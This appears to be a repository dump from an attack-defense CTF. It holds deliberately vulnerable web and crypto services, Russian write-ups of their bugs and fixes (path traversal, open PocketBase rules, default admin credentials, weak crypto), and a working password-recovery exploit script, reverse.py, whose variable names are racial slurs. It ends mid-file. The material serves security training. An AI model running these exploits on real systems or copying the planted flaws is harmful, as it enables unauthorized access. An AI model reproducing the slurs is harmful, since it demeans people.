12 | 13 | 28 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/jsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "./.svelte-kit/tsconfig.json", 3 | "compilerOptions": { 4 | "allowJs": true, 5 | "checkJs": true, 6 | "esModuleInterop": true, 7 | "forceConsistentCasingInFileNames": true, 8 | "resolveJsonModule": true, 9 | "skipLibCheck": true, 10 | "sourceMap": true, 11 | "strict": true 12 | } 13 | // Path aliases are handled by https://kit.svelte.dev/docs/configuration#alias and https://kit.svelte.dev/docs/configuration#files 14 | // 15 | // If you want to overwrite includes/excludes, make sure to copy over the relevant includes/excludes 16 | // from the referenced tsconfig.json - TypeScript does not merge them in 17 | } 18 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/svelte.config.js: -------------------------------------------------------------------------------- 1 | import adapter from '@sveltejs/adapter-node'; 2 | import { vitePreprocess } from '@sveltejs/kit/vite'; 3 | 4 | /** @type {import('@sveltejs/kit').Config} */ 5 | const config = { 6 | kit: { 7 | // adapter-auto only supports some environments, see https://kit.svelte.dev/docs/adapter-auto for a list. 8 | // If your environment is not supported or you settled on a specific environment, switch out the adapter. 9 | // See https://kit.svelte.dev/docs/adapters for more information about adapters. 10 | adapter: adapter(), 11 | csrf: { 12 | checkOrigin: false 13 | } 14 | }, 15 | preprocess: [vitePreprocess()] 16 | }; 17 | 18 | export default config; 19 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/menu.html: -------------------------------------------------------------------------------- 1 | 2 | 22 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/pb_api_rules_missconfiguration/README.md: -------------------------------------------------------------------------------- 1 | # PocketBase API rules missconfiguration 2 | 3 | ### Уязвимость 4 | 5 | В конфигурации правил доступа PocketBase была допущена ошибка. Для коллекции `workspaces` установленные правила выглядят следующим образом: 6 | 7 | ``` 8 | List/Search: @request.auth.id != '' 9 | View: @request.auth.id != '' 10 | Create: @request.auth.id != '' 11 | Delete: @request.auth.id != '' 12 | ``` 13 | 14 | Как видно, исполнять операции с коллекцией может любой авторизованный юзер. А это значит, что зарегестрировавшись, можно получить полный доступ к коллекции `workspaces`, в том числе к чтению поля `description`, которое содержит флаги. 15 | 16 | ### Фикс 17 | 18 | Изменить правила на `@request.auth.id = owner`. 19 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/hooks.server.js: -------------------------------------------------------------------------------- 1 | import { pocketbase } from '$lib/server/pocketbase'; 2 | 3 | export const handle = async ({ event, resolve }) => { 4 | pocketbase.authStore.loadFromCookie(event.request.headers.get('cookie') || ''); 5 | if (pocketbase.authStore.isValid) { 6 | try { 7 | await pocketbase.collection('users').authRefresh(); 8 | } catch (err) { 9 | pocketbase.authStore.clear(); 10 | } 11 | } 12 | const user = pocketbase.authStore.model; 13 | 14 | event.locals.pocketbase = pocketbase; 15 | event.locals.user = user; 16 | 17 | const response = await resolve(event); 18 | 19 | response.headers.set('set-cookie', pocketbase.authStore.exportToCookie({ httpOnly: false })); 20 | 21 | return response; 22 | }; 23 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/server/pocketbase.js: -------------------------------------------------------------------------------- 1 | import { LOCAL_POCKETBASE_ADDRESS } from '$env/static/private'; 2 | import { error } from '@sveltejs/kit'; 3 | import PocketBase from 'pocketbase'; 4 | 5 | export const pocketbase = new PocketBase(LOCAL_POCKETBASE_ADDRESS).autoCancellation(false); 6 | 7 | /** 8 | * @param {any} err 9 | * @returns {never} 10 | */ 11 | export function tryHandlePocketbaseError(err) { 12 | let errorToThrow; 13 | try { 14 | /** @type {import('pocketbase').ClientResponseError} */ 15 | const clientError = err; 16 | errorToThrow = error(clientError.status, clientError.message); 17 | } catch (notClientError) { 18 | console.error(notClientError); 19 | errorToThrow = notClientError; 20 | } 21 | 22 | throw errorToThrow; 23 | } 24 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/auth/signup/+page.server.js: -------------------------------------------------------------------------------- 1 | import { tryHandlePocketbaseError } from '$lib/server/pocketbase.js'; 2 | import { redirect } from '@sveltejs/kit'; 3 | 4 | export const actions = { 5 | default: async ({ locals, request }) => { 6 | /** @type {{username: string, email: string, password: string, passwordConfirm: string}} */ 7 | // @ts-ignore 8 | const data = Object.fromEntries(await request.formData()); 9 | 10 | data.passwordConfirm = data.password; 11 | 12 | try { 13 | await locals.pocketbase.collection('users').create(data); 14 | await locals.pocketbase.collection('users').authWithPassword(data.username, data.password); 15 | } catch (err) { 16 | tryHandlePocketbaseError(err); 17 | } 18 | 19 | throw redirect(303, '/'); 20 | } 21 | }; 22 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {{ .title }} 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | {{ template "menu.html" . }} -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/auth/guards.js: -------------------------------------------------------------------------------- 1 | import { tryHandlePocketbaseError } from '$lib/server/pocketbase'; 2 | import { error } from '@sveltejs/kit'; 3 | 4 | /** @param {App.Locals} locals */ 5 | export function mustBeLoggedIn(locals) { 6 | if (!locals.user) throw error(403, 'You must be logged in to perform this action'); 7 | } 8 | 9 | /** 10 | * @param {App.Locals} locals 11 | * @param {{workspaceId: string}} params 12 | */ 13 | export async function mustOwnWorkspace(locals, params) { 14 | let workspace = null; 15 | try { 16 | workspace = await locals.pocketbase.collection('workspaces').getOne(params.workspaceId); 17 | } catch (err) { 18 | tryHandlePocketbaseError(err); 19 | } 20 | 21 | if (workspace.owner !== locals.user?.id) { 22 | throw error(403, 'You must own workspace to view it'); 23 | } 24 | 25 | return workspace; 26 | } 27 | -------------------------------------------------------------------------------- /sploits/msngr/README.md: -------------------------------------------------------------------------------- 1 | ## MSNGR 2 | НЕРАБОТАЮЩАЯ РУЧКА GET_SECRET НЕ НУЖНА ДЛЯ ЭТИХ АТАК 3 | 4 | 1) Линейный сбокс. То есть в подстановочно-перестановочной сети подстановка это то же самое, что и перестановка. Получается итоговое одного раунда SP(x ^ key) = SP(x) ^ SP(key). More info: https://s3.amazonaws.com/archive.volgactf.ru/volgactf_2023/splin/writeup.html . Там разбирается нелинейный сбокс, у нас ситуация попроще. Там разбирается нелинейный сбокс, у нас ситуация попроще. достаем ключ, это наш токен, авторизуемся побеждаем 5 | 2) При обмене ключей по дифи-хеллману вы можете достать секретный ключ вашего друга. Просто выбрать такое p, что #GF(p) будет гладким, по нему легко посчитается ДЛП. Recover token and auth with it 6 | 7 | Как захотфиксить? 8 | 1) Поменять сбокс на нелинейный, или шифрование на другое. 9 | 2) Поменять класс кей эксченджер на безопасные значения, игнорить ввод других мужиков 10 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/path_traversal/README.md: -------------------------------------------------------------------------------- 1 | # Path traversal 2 | 3 | ### Уязвимость 4 | 5 | Все взаимодействия с файловой системой (файл [workspaceUtils.js](/services/amogus_plus_plus/web/src/lib/server/workspaceUtils.js)) никаким образом не санитизируют путь, а параметр `filename` в большинстве запросов контролируем мы. Таким образом, можно подняться по файловой системе на уровень вверх и прочитать файл из воркспейса другого пользователя. Айди воркспейса находится в атак дате. 6 | 7 | ### Фикс 8 | 9 | Добавить фильтрацию имени файлов. Например, можно изменить функцию `getFilePath`, чтобы она выглядела следующим образом: 10 | 11 | ```js 12 | function getFilePath(workspaceId, filename) { 13 | if (filename.includes("..") || filename.includes("/")) { 14 | throw new Error("Bad filename"); 15 | } 16 | const workspaceDir = getWorkspaceDir(workspaceId); 17 | return path.join(workspaceDir, filename); 18 | } 19 | ``` 20 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/admin_default_creds/README.md: -------------------------------------------------------------------------------- 1 | # Admin default credentials 2 | 3 | ### Уязвимость 4 | 5 | Админка PocketBase имеет дефолтные креды 6 | 7 | ``` 8 | email: admin@admin.com 9 | password: administrator 10 | ``` 11 | 12 | Их можно найти, например, в секции healthcheck контейнера `pocketbase` в файле [docker-compose.yml](/services/amogus_plus_plus/docker-compose.yml): 13 | 14 | ```yaml 15 | --- 16 | healthcheck: 17 | test: wget --post-data 'identity=admin@admin.com&password=administrator' --no-verbose --tries=1 --spider http://localhost:8090/api/admins/auth-with-password || exit 1 18 | interval: 5s 19 | timeout: 5s 20 | retries: 5 21 | ``` 22 | 23 | Имея доступ к админке можно сдампить таблички users и workspaces, получая флаги из email-ов пользователей и description-ов воркспейсов. 24 | 25 | ### Фикс 26 | 27 | Можно просто зайти в веб-интерфейс админки, который находится на `http://hostname:1984/_/` и ручками изменить пароль. 28 | -------------------------------------------------------------------------------- /services/schizichs/src/controllers/setup.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | 8 | "gorm.io/driver/mysql" 9 | "gorm.io/gorm" 10 | ) 11 | 12 | func newController(db *gorm.DB) *Controller { 13 | return &Controller{db: db} 14 | } 15 | 16 | func SetupControllers(db *gorm.DB) (*LabResultsController, *UserController) { 17 | return &LabResultsController{db}, &UserController{db} 18 | } 19 | 20 | func Setup() (*gorm.DB, error) { 21 | 22 | login := os.Getenv("MYSQL_USER") 23 | password := os.Getenv("MYSQL_PASSWORD") 24 | dbname := os.Getenv("MYSQL_DATABASE") 25 | 26 | dsn := fmt.Sprintf("%s:%s@tcp(database:3306)/%s?charset=utf8&parseTime=true", login, password, dbname) 27 | 28 | db, err := gorm.Open(mysql.New(mysql.Config{ 29 | DSN: dsn, 30 | }), &gorm.Config{}) 31 | if err != nil { 32 | log.Fatal(err) 33 | } 34 | 35 | if err = db.AutoMigrate(&User{}, &LabResult{}); err != nil { 36 | log.Fatal(err) 37 | } 38 | return db, err 39 | } 40 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {{ template "header.html" .}} 4 | 5 |

Login

6 | 7 | 8 |
9 |
10 | 11 | {{ if .ErrorTitle}} 12 |

13 | {{.ErrorTitle}}: {{.ErrorMessage}} 14 |

15 | {{end}} 16 | 17 |
18 |
19 | 20 | 21 |
22 |
23 | 24 | 25 |
26 | 27 |
28 |
29 |
30 | 31 | {{ template "footer.html" .}} -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/amogus_plus_plus/abstractStatements.js: -------------------------------------------------------------------------------- 1 | /* eslint-disable constructor-super */ 2 | // @ts-nocheck 3 | /* eslint-disable no-unused-vars */ 4 | 5 | /** @interface */ 6 | export class StatementBase { 7 | /** @param {string} line */ 8 | constructor(line) {} 9 | 10 | /** @returns {boolean} */ 11 | is_condition() {} 12 | 13 | /** @returns {boolean} */ 14 | is_loop() {} 15 | 16 | /** @returns {boolean} */ 17 | is_block_start() {} 18 | 19 | /** @returns {boolean} */ 20 | is_block_end() {} 21 | } 22 | 23 | /** @interface */ 24 | export class HighlightableStatement extends StatementBase { 25 | /** @param {string} line */ 26 | constructor(line) {} 27 | 28 | /** @returns {string} */ 29 | highlight() {} 30 | } 31 | 32 | /** @interface */ 33 | export class ExecutableStatement extends StatementBase { 34 | /** @param {string} line */ 35 | constructor(line) {} 36 | 37 | /** @param {import("../server/amogus_plus_plus/runtime").default} runtime */ 38 | execute(runtime) {} 39 | } 40 | -------------------------------------------------------------------------------- /services/schizichs/src/middleware.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | 7 | "github.com/YellowPhil/pwnAD/controllers" 8 | "github.com/gin-gonic/gin" 9 | ) 10 | 11 | func AuthMiddleWare() gin.HandlerFunc { 12 | return func(c *gin.Context) { 13 | tokenString, err := c.Cookie("token") 14 | if err != nil { 15 | c.AbortWithStatusJSON(403, gin.H{"Error": "No jwt provided"}) 16 | return 17 | } 18 | if id, err := (c.Cookie("userID")); err == nil { 19 | userID, err := strconv.Atoi(id) 20 | if err != nil { 21 | fmt.Println(err) 22 | c.AbortWithStatusJSON(403, gin.H{"Error": "Invalid userID cookie"}) 23 | return 24 | } 25 | if err := controllers.ValidateToken(tokenString, uint(userID)); err != nil { 26 | fmt.Println(err) 27 | c.AbortWithStatusJSON(403, gin.H{"Error": "Invalid JWT"}) 28 | return 29 | } 30 | } else { 31 | fmt.Println(err) 32 | c.AbortWithStatusJSON(43, gin.H{"Error": "No userID cookie provided"}) 33 | return 34 | } 35 | c.Next() 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /sploits/schizichs/public_data/README.md: -------------------------------------------------------------------------------- 1 | # Уязвимость 2 | 3 | ## Программист идиот 4 | 5 | При запросе на главную страницу `http://IP:PORT/` в ответ передавался массив данных о лабораторных работах, находящейся в переменной `publicResults` ответа от сервера. Однако массив содержал не только публичные данные, но данные всей лабораторной целиком. 6 | ```go 7 | func (lc *LabResultsController) GetLabs() []LabResult { 8 | var publicResults []LabResult 9 | lc.db.Find(&publicResults) 10 | return publicResults 11 | } 12 | ... 13 | func showMainPage(g *gin.Context) { 14 | publicResults := labController.GetLabs() 15 | render(g, "index.html", gin.H{"header": "Home page", "publicResults": publicResults}) 16 | } 17 | ``` 18 | Таким образом изначально можно было получать данные всех лабораторных работ. 19 | 20 | [Код эксплойта](./info_exp.py) 21 | 22 | # Фикс 23 | 24 | Структура `labResults` уже включает в себя анонимно `publicResults`, поэтому достаточно было поменять функцию `GetLabs()`, чтобы она возвращала массив только публичных даннных лабораторных работ. -------------------------------------------------------------------------------- /sploits/jeopardy/tokens/rc4_token.py: -------------------------------------------------------------------------------- 1 | from tokens.token_abstract import Token 2 | from Crypto.Cipher import ARC4 3 | from base64 import b64encode, b64decode 4 | 5 | class RC4Token(Token): 6 | def __init__(self, key: bytes, iv: bytes = b'dtlad2023'): 7 | self.key = iv + key 8 | 9 | def __precompute(self, data: bytes) -> bytes: 10 | cipher = ARC4.new(self.key) 11 | return cipher.decrypt(data) 12 | 13 | def generate_token(self, data: bytes) -> str: 14 | hashed = self.__precompute(data) 15 | token = f"{b64encode(b'ARC228').decode()}.{b64encode(data).decode()}.{b64encode(hashed).decode()}" 16 | 17 | return token 18 | 19 | def validate_token(self, token: str) -> bool: 20 | try: 21 | token_type, data, signed = list( 22 | map(b64decode, token.split('.')) 23 | ) 24 | except Exception as e: 25 | raise Exception('Cannot unpack token') 26 | 27 | if token_type != b'ARC228': 28 | return False 29 | 30 | return self.__precompute(data) == signed 31 | -------------------------------------------------------------------------------- /services/jeopardy/tokens/rc4_token.py: -------------------------------------------------------------------------------- 1 | from tokens.token_abstract import Token 2 | from Crypto.Cipher import ARC4 3 | from base64 import b64encode, b64decode 4 | 5 | class RC4Token(Token): 6 | def __init__(self, key: bytes, iv: bytes = b'dtlad2023'): 7 | self.key = iv + key 8 | 9 | def __precompute(self, data: bytes) -> bytes: 10 | cipher = ARC4.new(self.key) 11 | return cipher.decrypt(data) 12 | 13 | def generate_token(self, data: bytes) -> str: 14 | hashed = self.__precompute(data) 15 | token = f"{b64encode(b'ARC228').decode()}.{b64encode(data).decode()}.{b64encode(hashed).decode()}" 16 | 17 | return token 18 | 19 | def validate_token(self, token: str) -> bool: 20 | try: 21 | token_type, data, signed = list( 22 | map(b64decode, token.split('.')) 23 | ) 24 | except Exception as e: 25 | raise Exception('Cannot unpack token') 26 | 27 | if token_type != b'ARC228': 28 | return False 29 | 30 | return self.__precompute(data) == signed 31 | -------------------------------------------------------------------------------- /services/jeopardy/tokens/tokens.py: -------------------------------------------------------------------------------- 1 | from tokens.ecdsa_token import EcdsaToken 2 | from tokens.rc4_token import RC4Token 3 | import json 4 | from base64 import b64decode 5 | 6 | class Tokens: 7 | def __init__(self, iv: bytes = b'dtlad2023') -> None: 8 | self.token_managers = { 9 | "EC256": EcdsaToken(b'REDACTED'), 10 | "ARC228": RC4Token(b'REDACTED', iv = iv) 11 | } 12 | 13 | def generate_token(self, message: bytes, type_name: str) -> str: 14 | return self.token_managers[type_name].generate_token(message) 15 | 16 | def validate_token(self, message: str) -> bool: 17 | return any( 18 | [self.token_managers[i].validate_token(message) for i in self.token_managers.keys()] 19 | ) 20 | 21 | def get_data(self, message: str) -> dict: 22 | try: 23 | token_type, data, signed = list( 24 | map(b64decode, message.split('.')) 25 | ) 26 | except Exception as e: 27 | raise Exception('Cannot unpack token') 28 | 29 | return json.loads(data) 30 | 31 | 32 | -------------------------------------------------------------------------------- /services/schizichs/src/controllers/controller.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | 7 | "golang.org/x/crypto/bcrypt" 8 | "gorm.io/gorm" 9 | ) 10 | 11 | type Controller struct { 12 | db *gorm.DB 13 | } 14 | 15 | func (c *Controller) RegisterUser(username, password string) error { 16 | NewUser := &User{Username: username, Password: password} 17 | NewUser.HashPassword() 18 | 19 | if err := c.db.Create(NewUser).Error; err != nil { 20 | return errors.New("Could not register user") 21 | } 22 | return nil 23 | } 24 | 25 | func (c *Controller) CheckLoginUser(username, password string) (string, error) { 26 | user := &User{} 27 | 28 | if err := c.db.Model(User{}).Where("username = ?", username).Take(user).Error; err != nil { 29 | return "", err 30 | } 31 | 32 | if err := verifyPassword(user.Password, password); err != nil && err == bcrypt.ErrMismatchedHashAndPassword { 33 | return "", fmt.Errorf("Invalid password for user %s", username) 34 | } 35 | 36 | token, err := GenerateToken(user) 37 | if err != nil { 38 | return "", err 39 | } 40 | 41 | return token, nil 42 | } 43 | -------------------------------------------------------------------------------- /forcad.yml: -------------------------------------------------------------------------------- 1 | game: 2 | default_score: 2500 3 | flag_lifetime: 5 4 | game_hardness: 10.0 5 | inflation: true 6 | mode: classic 7 | round_time: 60 8 | start_time: "2023-07-23T15:00:00" 9 | timezone: Europe/Moscow 10 | 11 | tasks: 12 | - checker: jeopardy/checker.py 13 | checker_timeout: 15 14 | checker_type: gevent_pfr 15 | gets: 1 16 | name: jeopardy 17 | places: 1 18 | puts: 1 19 | 20 | - checker: msngr/checker.py 21 | checker_timeout: 20 22 | checker_type: gevent_pfr 23 | gets: 1 24 | name: msngr 25 | places: 1 26 | puts: 1 27 | 28 | - checker: Zapiski/checker.py 29 | checker_timeout: 5 30 | checker_type: gevent_pfr 31 | gets: 1 32 | name: Zapiski 33 | places: 1 34 | puts: 1 35 | 36 | - checker: amogus_plus_plus/checker.py 37 | checker_timeout: 20 38 | checker_type: gevent_pfr 39 | gets: 1 40 | name: amogus_plus_plus 41 | places: 3 42 | puts: 1 43 | 44 | - checker: schizichs/checker.py 45 | checker_timeout: 5 46 | checker_type: gevent_pfr 47 | gets: 1 48 | name: schizichs 49 | places: 3 50 | puts: 1 51 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | *$py.class 4 | *.so 5 | .Python 6 | build/ 7 | develop-eggs/ 8 | dist/ 9 | downloads/ 10 | eggs/ 11 | .eggs/ 12 | lib/ 13 | lib64/ 14 | parts/ 15 | sdist/ 16 | var/ 17 | wheels/ 18 | pip-wheel-metadata/ 19 | share/python-wheels/ 20 | *.egg-info/ 21 | .installed.cfg 22 | *.egg 23 | MANIFEST 24 | *.manifest 25 | *.spec 26 | pip-log.txt 27 | pip-delete-this-directory.txt 28 | htmlcov/ 29 | .tox/ 30 | .nox/ 31 | .coverage 32 | .coverage.* 33 | .cache 34 | nosetests.xml 35 | coverage.xml 36 | *.cover 37 | *.py,cover 38 | .hypothesis/ 39 | .pytest_cache/ 40 | *.mo 41 | *.pot 42 | *.log 43 | local_settings.py 44 | db.sqlite3 45 | db.sqlite3-journal 46 | instance/ 47 | .webassets-cache 48 | .scrapy 49 | docs/_build/ 50 | target/ 51 | .ipynb_checkpoints 52 | profile_default/ 53 | ipython_config.py 54 | .python-version 55 | __pypackages__/ 56 | celerybeat-schedule 57 | celerybeat.pid 58 | *.sage.py 59 | .env 60 | .venv 61 | env/ 62 | venv/ 63 | ENV/ 64 | env.bak/ 65 | venv.bak/ 66 | .spyderproject 67 | .spyproject 68 | .ropeproject 69 | /site 70 | .mypy_cache/ 71 | .dmypy.json 72 | dmypy.json 73 | .pyre/ 74 | .DS_Store 75 | .vscode 76 | .idea 77 | 78 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "amogus-plus-plus", 3 | "version": "0.0.1", 4 | "private": true, 5 | "scripts": { 6 | "dev": "vite dev", 7 | "build": "vite build", 8 | "preview": "vite preview", 9 | "check": "svelte-kit sync && svelte-check --tsconfig ./jsconfig.json", 10 | "check:watch": "svelte-kit sync && svelte-check --tsconfig ./jsconfig.json --watch", 11 | "lint": "prettier --plugin-search-dir . --check . && eslint .", 12 | "format": "prettier --plugin-search-dir . --write ." 13 | }, 14 | "devDependencies": { 15 | "@sveltejs/adapter-auto": "^2.0.0", 16 | "@sveltejs/adapter-node": "^1.2.4", 17 | "@sveltejs/kit": "^1.20.4", 18 | "eslint": "^8.28.0", 19 | "eslint-config-prettier": "^8.5.0", 20 | "eslint-plugin-svelte": "^2.30.0", 21 | "prettier": "^2.8.0", 22 | "prettier-plugin-svelte": "^2.10.1", 23 | "sass": "^1.63.6", 24 | "svelte": "^4.0.0", 25 | "svelte-check": "^3.4.3", 26 | "typescript": "^5.0.0", 27 | "vite": "^4.3.6" 28 | }, 29 | "type": "module", 30 | "dependencies": { 31 | "@novacbn/svelte-codejar": "^0.1.2", 32 | "pocketbase": "^0.15.2" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/register.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {{ template "header.html" .}} 4 | 5 |

Register

6 | 7 |
8 |
9 | 10 | {{ if .ErrorTitle}} 11 |

12 | {{.ErrorTitle}}: {{.ErrorMessage}} 13 |

14 | {{end}} 15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 | 23 | 24 |
25 | 26 |
27 |
28 |
29 | 30 | 31 | 32 | {{ template "footer.html" .}} -------------------------------------------------------------------------------- /sploits/jeopardy/tokens/tokens.py: -------------------------------------------------------------------------------- 1 | from tokens.ecdsa_token import EcdsaToken 2 | from tokens.rc4_token import RC4Token 3 | from tokens.token_abstract import Token 4 | from hashlib import md5 5 | import json 6 | from base64 import b64decode 7 | 8 | class Tokens(Token): 9 | def __init__(self, key:bytes = b'REDACTED', iv: bytes = b'dtlad2023') -> None: 10 | self.token_managers = { 11 | "EC256": EcdsaToken(key), 12 | "ARC228": RC4Token(key, iv = iv) 13 | } 14 | 15 | def generate_token(self, message: bytes, type_name: str) -> str: 16 | return self.token_managers[type_name].generate_token(md5(message).digest()) 17 | 18 | def validate_token(self, message: str) -> bool: 19 | return any( 20 | [self.token_managers[i].validate_token(md5(message.encode()).digest()) for i in self.token_managers.keys()] 21 | ) 22 | 23 | def get_signed(self, message: str) -> dict: 24 | try: 25 | token_type, data, signed = list( 26 | map(b64decode, message.split('.')) 27 | ) 28 | except Exception as e: 29 | raise Exception('Cannot unpack token') 30 | 31 | return signed 32 | -------------------------------------------------------------------------------- /services/jeopardy/tokens/ecdsa_token.py: -------------------------------------------------------------------------------- 1 | from tokens.token_abstract import Token 2 | from tokens.elliptic.elliptic import ECDSA 3 | from Crypto.Util.number import bytes_to_long, long_to_bytes 4 | from base64 import b64encode, b64decode 5 | 6 | class EcdsaToken: 7 | def __init__(self, key) -> None: 8 | self.signer = ECDSA(key) 9 | 10 | def __precompute(self, data: bytes) -> bytes: 11 | r, s = self.signer.sign(bytes_to_long(data)) 12 | return f"{r}.{s}".encode() 13 | 14 | def generate_token(self, data: bytes) -> str: 15 | signature = self.__precompute(data) 16 | token = f"{b64encode(b'EC256').decode()}.{b64encode(data).decode()}.{b64encode(signature).decode()}" 17 | return token 18 | 19 | def validate_token(self, token: str) -> bool: 20 | try: 21 | token_type, data, signed = list( 22 | map(b64decode, token.split('.')) 23 | ) 24 | except Exception as e: 25 | raise Exception('Cannot unpack token') 26 | 27 | if token_type != b'EC256': 28 | return False 29 | r, s = list( 30 | map(int, signed.decode().split('.')) 31 | ) 32 | return self.signer.validate(bytes_to_long(data), r, s) 33 | -------------------------------------------------------------------------------- /sploits/jeopardy/tokens/ecdsa_token.py: -------------------------------------------------------------------------------- 1 | from tokens.token_abstract import Token 2 | from tokens.elliptic.elliptic import ECDSA 3 | from Crypto.Util.number import bytes_to_long, long_to_bytes 4 | from base64 import b64encode, b64decode 5 | 6 | class EcdsaToken: 7 | def __init__(self, key) -> None: 8 | self.signer = ECDSA(key) 9 | 10 | def __precompute(self, data: bytes) -> bytes: 11 | r, s = self.signer.sign(bytes_to_long(data)) 12 | return f"{r}.{s}".encode() 13 | 14 | def generate_token(self, data: bytes) -> str: 15 | signature = self.__precompute(data) 16 | token = f"{b64encode(b'EC256').decode()}.{b64encode(data).decode()}.{b64encode(signature).decode()}" 17 | return token 18 | 19 | def validate_token(self, token: str) -> bool: 20 | try: 21 | token_type, data, signed = list( 22 | map(b64decode, token.split('.')) 23 | ) 24 | except Exception as e: 25 | raise Exception('Cannot unpack token') 26 | 27 | if token_type != b'EC256': 28 | return False 29 | r, s = list( 30 | map(int, signed.decode().split('.')) 31 | ) 32 | return self.signer.validate(bytes_to_long(data), r, s) 33 | -------------------------------------------------------------------------------- /sploits/Zapiski/reverse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import socket 5 | import requests 6 | from ctypes import CDLL 7 | 8 | def unsigned(byte_str: bytes): 9 | nigger = 0x1 10 | chingchong = 0x100 11 | out = 0x0 12 | for i in byte_str: 13 | out += i * nigger 14 | nigger *= chingchong 15 | return out 16 | 17 | def reverse_get_pass(username : str): 18 | libc = CDLL("libc.so.6") 19 | username = username.encode() 20 | key1 = unsigned(username[:4]) 21 | key2 = unsigned(username[4:]) 22 | libc.srand(key1) 23 | some_censored_word = libc.rand() 24 | for papa in range(13): 25 | some_censored_word ^= libc.rand() 26 | some_censored_word ^= key2 27 | password = hex(some_censored_word)[2:] 28 | return password 29 | 30 | ADDR = (sys.argv[1], 5712) 31 | hint = sys.argv[2].split(':') 32 | print(hint[0]) 33 | password = reverse_get_pass(hint[0]) 34 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 35 | s.connect(ADDR) 36 | s.settimeout(5) 37 | s.recv(1024) 38 | s.send(b'1\n') 39 | s.recv(1024) 40 | s.send((password + '\n').encode()) 41 | s.recv(1024) 42 | s.recv(1024) 43 | s.send(b'2\n') 44 | s.recv(1024) 45 | s.send(hint[1].encode()) 46 | flag = s.recv(1024) 47 | s.recv(1024) 48 | s.send(b'3\n') 49 | print(flag.decode(), flush= True) 50 | -------------------------------------------------------------------------------- /services/schizichs/src/controllers/jwt.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "errors" 5 | "time" 6 | 7 | "github.com/golang-jwt/jwt/v4" 8 | ) 9 | 10 | const key = "SEСREТ_KEY" 11 | 12 | type JWTClaim struct { 13 | Id uint `json:"username"` 14 | Authorized bool `json:"authorized"` 15 | jwt.StandardClaims 16 | } 17 | 18 | func GenerateToken(user *User) (string, error) { 19 | expirationTime := time.Now().Add(1 * time.Hour) 20 | claims := &JWTClaim{Id: user.ID, Authorized: true, 21 | StandardClaims: jwt.StandardClaims{ 22 | ExpiresAt: expirationTime.Unix(), 23 | }} 24 | 25 | token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) 26 | return token.SignedString([]byte(key)) 27 | } 28 | 29 | func ValidateToken(signedToken string, id uint) (err error) { 30 | token, err := jwt.ParseWithClaims( 31 | signedToken, 32 | &JWTClaim{}, 33 | func(token *jwt.Token) (interface{}, error) { 34 | return []byte(key), nil 35 | }, 36 | ) 37 | if err != nil { 38 | return err 39 | } 40 | 41 | claims, ok := token.Claims.(*JWTClaim) 42 | if !ok { 43 | return errors.New("couldn't parse claims") 44 | } 45 | 46 | if claims.ExpiresAt < time.Now().Local().Unix() { 47 | return errors.New("token expired") 48 | } 49 | 50 | if claims.Id != id || claims.Authorized != true { 51 | return errors.New("Invalid token") 52 | } 53 | return nil 54 | } 55 | -------------------------------------------------------------------------------- /sploits/jeopardy/tokens/hmac_token.py: -------------------------------------------------------------------------------- 1 | from tokens.token_abstract import Token 2 | import json 3 | from Crypto.Cipher import AES 4 | from base64 import b64encode, b64decode 5 | 6 | def pad(data: bytes) -> bytes: 7 | return data + b'\x00' * (16 - len(data) % 16) 8 | 9 | def xor(a: bytes, b: bytes) -> bytes: 10 | return bytes([i ^ j for i, j in zip(a,b)]) 11 | 12 | class HmacToken(Token): 13 | def __init__(self, key: bytes) -> None: 14 | self.cipher = AES.new(pad(key)[:16], AES.MODE_ECB) 15 | 16 | def __precompute(self, data: bytes) -> bytes: 17 | data = pad(data) 18 | hashed = b'\x00' * 16 19 | for i in range(0, len(data), 16): 20 | hashed = xor(hashed, data[i: i + 16]) 21 | 22 | return hashed 23 | 24 | def generate_token(self, data: bytes) -> str: 25 | hashed = self.__precompute(data) 26 | token = f"{b64encode(b'HMAC128').decode()}.{b64encode(data).decode()}.{b64encode(hashed).decode()}" 27 | 28 | return token 29 | 30 | def validate_token(self, token: str) -> bool: 31 | try: 32 | token_type, data, signed = list( 33 | map(b64decode, token.split('.')) 34 | ) 35 | except Exception as e: 36 | raise Exception('Cannot unpack token') 37 | 38 | if token_type != b'HMAC128': 39 | return False 40 | 41 | return self.__precompute(data) == signed 42 | -------------------------------------------------------------------------------- /services/jeopardy/tokens/hmac_token.py: -------------------------------------------------------------------------------- 1 | from tokens.token_abstract import Token 2 | import json 3 | from Crypto.Cipher import AES 4 | from base64 import b64encode, b64decode 5 | 6 | def pad(data: bytes) -> bytes: 7 | return data + b'\x00' * 